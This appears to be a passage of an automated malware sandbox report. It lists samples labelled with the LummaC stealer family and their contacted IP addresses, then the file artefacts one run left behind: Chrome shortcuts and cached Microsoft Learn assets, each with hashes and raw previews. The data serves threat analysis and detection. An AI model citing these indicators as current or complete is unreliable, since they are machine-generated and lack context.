	N36e6JFEp6.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	j2nLC29vCy.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	k7T6akLcAr.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	SPzPNCzcCy.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	es5qBEFupj.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	vUcZzNWkKc.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106
	CLaYpUL3zw.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 23.55.153.106

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:49:08 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	3.980432182111038
Encrypted:	false
SSDEEP:	48:8SK26d5TUkAtHVidAKZdA1nehwiZUklqehwy+3:8Sn40PLy
MD5:	077083C1A1AC40B372E0AD50B258D0BB
SHA1:	3CEBCAA968DB7B5FDE14406D49D007227C898DFA
SHA-256:	18ACB152B8EB24A56DD449C672707E3BBA5DD6CD5FD782E86051686913DF943D
SHA-512:	2EF1D2C7BB274C3AB61DB713250DE1BD4EAD8D61C87EF83884F6A8F117916AEB71EA54DEA870E3CAE187AB6BAB19347F693A21E15C5E5E89193301BDB10B3C5D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....>d[.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y$F............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:49:07 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.997364541897788
Encrypted:	false
SSDEEP:	48:8jK26d5TUkAtHVidAKZdA1geh/iZUkAQkqeh7y+2:8jn40r9QSy
MD5:	9F80E37CA273A30B7ED6AC85A7CF996F
SHA1:	18ED9539B3212EDAB3849EA62F1C5F6249B3E8CE
SHA-256:	5062DD8B37B26C08E664C4F2D4F8E9874177B8DA69871D422F61BB39A270A0F9
SHA-512:	328C2B94EFD32B923B2FCA9020D5F3F7F2CEA5CC627E3FD7CFC28B33B585BBC5BBF09851613106A40E2BE41A16D6F547CE0910813DE1FBAB93068EB88CD19D05
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....TL[.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y$F............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 09:52:18 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	4.005872479785014
Encrypted:	false
SSDEEP:	48:87K26d5TUkACHVidAKZdA148eh7sFiZUkmgqeh7sly+BX:87n408nXy
MD5:	876C8492F0E8244FAFA560687DF2F915
SHA1:	A7415E41906CC0032086CBE6958D4C9BAB3DD464
SHA-256:	4D9B2A7982E512F4E7648B21630E5AB10DB21A8EF157C0011DE86EE3D3884C15
SHA-512:	B8C549CD30D469F9EAE405F7BDC6579026A0B61C0FD3A1A0DC0E7B70ADB9060D4BF21A5C8719D60825B67C98A4D1B14E36CA37EA6C60C24535DA56BC3E212DF2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....s4..z.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VEW.V............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:49:07 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.994781648534818
Encrypted:	false
SSDEEP:	48:8VnK26d5TUkAtHVidAKZdA1lehDiZUkwqehPy+R:8Vnn40Gdy
MD5:	07F12A748A13CE0B05200D8E902FCC95
SHA1:	24C326C70AE32488812890793198E11EC69BE53A
SHA-256:	40FF9750DBAF3536DED63DC14D6A3D3CB85A999E93597EC7CF32EE9F80155CA3
SHA-512:	7A04D165142289B8408E48075A65C70993AD21B4CE5B2D386BEC2598D1D48BD6E35D62D58FF888FAFE82C1997B5AC1F79E3ACBB413B7502D2FC11CA689FDA08D
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......B[.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y$F............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:49:07 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9815157882150123
Encrypted:	false
SSDEEP:	48:8bxkK26d5TUkAtHVidAKZdA17ehBiZUk1W1qehRy+C:8bxkn40W9xy
MD5:	96486C7F59170766C4DABD9145FAA88F
SHA1:	1D5C0D8AF1ABB590ABB83A4833F9B952C7E6BFE6
SHA-256:	204C82FE850B627630CF56FCFDCE7B04FFFE6E951650DCA04E7DD0065355E3F3
SHA-512:	B0431E6016B436CF2FA78EDB7C16530E5F9C802C9945452EB0227FF84BB9E7C92D73031511C4C741334BA77D311191257A3F452F86727612FA11213BBCEEDE46
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...."eY[.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y$F............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Dec 28 07:49:07 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992123645596075
Encrypted:	false
SSDEEP:	48:8fK26d5TUkAtHVidAKZdA1duTiehOuTbbiZUk5OjqehOuTbXy+yT+:8fn402TLTbxWOvTbXy7T
MD5:	72307679546D2BD0375823FACF572818
SHA1:	7E0EAC26D8B44238D7F6B927B3B48BBD28ECD5A7
SHA-256:	8B3C803728FCA7B4C51CF27EC797458E76EAF9D78C6C5DEABA105D966C4DE894
SHA-512:	4E89F84D8FCB3D3428BFEFC208855C42F3E1C58C19FCFCADDE8BD83766905F730659136B96A8500B8E8B2C00CCBC75C2F0209DE83A903BD2B5772C2C3D64F95E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....:6[.Y......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.I.Y#F....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y#F....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.V.Y#F....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.V.Y#F..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y$F............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............Ep.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return 